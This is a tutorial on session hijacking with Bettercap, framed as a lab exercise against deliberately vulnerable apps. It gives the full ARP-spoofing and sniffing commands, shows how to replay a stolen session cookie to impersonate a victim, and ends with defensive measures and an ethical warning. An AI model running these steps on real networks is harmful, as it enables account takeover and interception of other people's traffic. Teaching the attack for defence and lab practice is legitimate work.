Complete Guide: Session Hijacking using Bettercap

Hackistan Official - Shaikh Abdur Rehman Ahmed

Follow @official.hackistan & @abdurrehman.io

➢ What is Session Hijacking?

Session hijacking is a cyberattack where an attacker takes over a user's session on a web application. This is done by stealing **session cookies**, **tokens**, or **session IDs**, which are used to identify and authenticate a user.

➢ Types of Session Hijacking

1. **Active Hijacking**: Attacker takes over the session while it's active.
2. **Passive Hijacking**: Attacker monitors the traffic and steals session data.
3. **Cookie Hijacking**: Capturing session cookies through sniffing or XSS.
4. **Man-in-the-Middle (MitM)**: Intercepting communication between two parties.

➢ Tools Required

- **Bettercap**
- **Kali Linux or Parrot OS**
- Target device on the **same network**
- Web browser (on target device)
- HTTP site or poorly configured HTTPS site

Installation of Bettercap

Bettercap comes pre-installed on Kali Linux, but in case it's not:

- sudo apt update
- sudo apt install bettercap

To verify:

- bettercap –version

Practical Lab Setup

Network: Both Attacker (Kali) and Victim (mobile/PC) should be on the same Wi-Fi.
Target: Open a login page that doesn't use HTTPS (e.g., a demo vulnerable web app like DVWA or Bwapp).

Step-by-Step: Session Hijacking Using Bettercap

1. Launch Bettercap

```
bash
CopyEdit
sudo bettercap -iface wlan0
```

Replace `wlan0` with your network interface (`ifconfig` to check).

---

2. Enable Network Sniffing and ARP Spoofing

Inside the bettercap interactive shell:

```
bash
CopyEdit
net.probe on
set arp.spoof.targets <victim_ip>
arp.spoof on
net.sniff on
```

This will:

- Discover the devices on the network
- Start ARP spoofing the victim
- Sniff packets including HTTP cookies

---

3. Monitor Sniffed Packets

Bettercap will automatically display HTTP requests and cookies like:

```
bash
CopyEdit
[*] HTTP GET http://demo.testfire.net
[*] HTTP Cookie: SESSIONID=abc123xyz
```

---

4. Use Stolen Cookie

Copy the **session cookie** from above. On your own browser:

1. Open the same site as the victim
2. Right click > Inspect > Application > Cookies
3. Paste the stolen `SESSIONID` in the cookie section

Now refresh the page — you'll be logged in as the victim.

Bonus: Bettercap GUI with Web UI

Bettercap also has a GUI:

```
bash
CopyEdit
sudo bettercap -eval "caplets.update; ui.update; net.probe on"
```

Then open browser: `http://127.0.0.1:8081`

How to Protect Yourself

- Use **HTTPS** websites (with valid SSL).
- Enable **HSTS** on your server.
- Use **VPNs** on public Wi-Fi.
- Implement **secure cookies** (`HttpOnly`, `Secure`, `SameSite`).
- Log out completely from sensitive sessions.

Legal & Ethical Reminder

 Don't test this on **live networks**, **friends' phones**, or **production systems** without permission.

 Only practice in **controlled lab environments** with consent.

Conclusion

Session hijacking is a **powerful attack vector** that highlights the importance of **secure web practices**.
Tools like **Bettercap** make it easy for attackers — and even easier for defenders to test and harden systems.